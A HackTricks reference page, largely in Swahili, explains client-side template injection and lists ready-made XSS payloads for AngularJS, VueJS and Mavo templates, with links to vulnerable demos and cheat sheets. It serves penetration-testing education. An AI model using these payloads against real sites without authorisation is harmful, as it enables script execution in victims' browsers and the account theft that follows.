Client Side Template Injection (CSTI)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Summary

Ni kama Server Side Template Injection lakini katika mteja. SSTI inaweza kukuruhusu kutekeleza msimbo kwenye seva ya mbali, CSTI inaweza kukuruhusu kutekeleza msimbo wa JavaScript wa kiholela katika kivinjari cha mwathirika.

Kujaribu udhaifu huu ni kama ilivyo katika kesi ya SSTI, mfasiri anatarajia kigezo na atakitekeleza. Kwa mfano, kwa payload kama {{ 7-7 }}, ikiwa programu ina udhaifu utaona 0, na ikiwa sivyo, utaona asili: {{ 7-7 }}

AngularJS

AngularJS ni mfumo wa JavaScript unaotumika sana ambao unawasiliana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa ng-app. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.

Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na lebo ng-app, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hii inaweza kufikiwa kwa kutumia sintaksia ya AngularJS ndani ya input. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

You can find a very basic online example of the vulnerability in AngularJS in http://jsfiddle.net/2zs2yv7o/ and in Burp Suite Academy

Angular 1.6 iliondoa sandbox hivyo kutoka toleo hili payload kama {{constructor.constructor('alert(1)')()}} au <input ng-focus=$event.view.alert('XSS')> inapaswa kufanya kazi.

VueJS

You can find a vulnerable Vue implementation in https://vue-client-side-template-injection-example.azu.now.sh/ Working payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

And the source code of the vulnerable example here: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

A really good post on CSTI in VUE can be found in https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Mwandiko: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

Angalia zaidi VUE payloads katika https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Zaidi ya payloads katika https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Orodha ya Ugunduzi wa Brute-Force

Auto_Wordlists/ssti.txt at main · carlospolop/Auto_WordlistsGitHub

Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.